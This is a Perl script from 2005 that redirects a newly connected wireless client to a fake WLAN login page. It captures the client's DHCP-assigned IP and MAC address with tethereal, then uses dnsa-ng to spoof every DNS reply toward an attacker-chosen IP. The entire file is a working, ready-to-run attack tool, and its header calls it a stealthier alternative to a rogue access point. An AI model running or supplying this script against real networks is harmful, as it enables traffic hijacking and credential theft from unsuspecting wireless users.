#!/usr/bin/perl
#########################################################################################################
#Description:
#	This is a quick script to redirect a wireless client to a fake a login page for a WLAN. This is much 
#	stealthier than implementing a rouge AP in conjunction with layer 1/2 attacks against the WAP. It 
#	uses tethereal to listen for IP addresses being assigned to a new wireless client via DHCP, then 
#	runs dnsa-ng to redirect DNS queries from the new client to the specified IP.
#
#Usage:
#	./wlan_webauth <input interface> <ip address to spoof> <output interface>
#
#Dependancies:
#	Uses tethereal and Pierre Betouin's dnsa-ng (http://www.packetfactory.net/projects/dnsa/).
#
#Supported platforms:
#	Tested on linux 2.6, with Prisim 2.5 (HostAP drivers) and Atheros (Madwifi drivers) wireless
#	cards.
#
#Notes:
#	Input interface must be placed in monitor mode.
#
#Craig Heffner
#08/06/05
###########################################################################################################


#check usage
if($#ARGV+1<3){
print "\nUsage: wlan_webauth <input interface> <ip address to spoof> <output interface>\n\nExample: #./wlan_webauth ath0 192.168.0.102 wlan0\n\n";
exit;
}

#run tethereal to look for DHCP replies and grep for the assigned address
open(ETHEREAL, "tethereal -i $ARGV[0] -c 1 -V -R 'bootp.type == 2' | grep -e 'Your (client) IP address:' -e 'MAC address:' |");
while($a<2){
$output.=<ETHEREAL>;
$a++;
}
close(ETHEREAL);

#pull out the IP and MAC address from the string passed into $output
if($output =~ /\b(IP address:)\s+(\S+)/i){
$ip=$2;
}
if($output =~ /\b(MAC address:)\s+(\S+)/i){
$mac=$2;
}


#add the client's MAC/IP to arp table to speed things up, and print out new arp table listings
system "arp -s $ip $mac";
system "arp";

#run dnsa-ng to spoof replies to all DNS requests from the new client
system "dnsa-ng -m raw4 -t wifi -1 -S $ARGV[1] -s $ip -i $ARGV[0] -I $ARGV[2]";

exit;